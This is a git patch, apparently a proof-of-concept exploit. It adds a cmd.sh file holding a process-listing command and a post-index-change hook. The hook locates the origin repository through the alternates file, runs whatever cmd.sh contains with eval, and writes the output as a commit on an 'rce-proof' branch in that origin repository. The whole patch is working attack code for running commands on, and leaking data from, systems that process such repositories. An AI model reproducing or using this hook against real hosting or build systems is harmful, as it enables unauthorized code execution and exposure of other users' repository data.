From 95bf39417b1cff70925fbc98034d821239b51ca7 Mon Sep 17 00:00:00 2001 From: poc4z0q4t Date: Sun, 16 Aug 2026 19:03:07 +0000 Subject: [PATCH] create-1 --- cmd.sh | 1 + hooks/post-index-change | 24 ++++++++++++++++++++++++ 2 files changed, 25 insertions(+) create mode 100755 cmd.sh create mode 100755 hooks/post-index-change diff --git a/cmd.sh b/cmd.sh new file mode 100755 index 0000000..3971a46 --- /dev/null +++ b/cmd.sh @@ -0,0 +1 @@ +ps -ef|grep git diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..57472e0 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,24 @@ +#!/bin/sh +git_dir=$(git rev-parse --absolute-git-dir) || exit 1 +origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2 +case "$origin_objects" in + /*) ;; + *) origin_objects="$git_dir/objects/$origin_objects" ;; +esac +origin_git=${origin_objects%/objects} +[ "$origin_git" != "$origin_objects" ] || exit 3 + +cmd=$(git show :cmd.sh 2>/dev/null || git show HEAD:cmd.sh 2>/dev/null) +[ -n "$cmd" ] || exit 0 + +out=$(eval "$cmd" 2>&1; echo "---EXIT:$?---") + +out_blob=$(printf '%s' "$out" | git --git-dir="$origin_git" hash-object -w --stdin) +tree=$(printf '100644 blob %s\tproof\n' "$out_blob" | git --git-dir="$origin_git" mktree) +commit=$(printf 'rce proof\n' | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x \ + GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x \ + git --git-dir="$origin_git" commit-tree "$tree") +git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" +exit 0 + +# 5214hx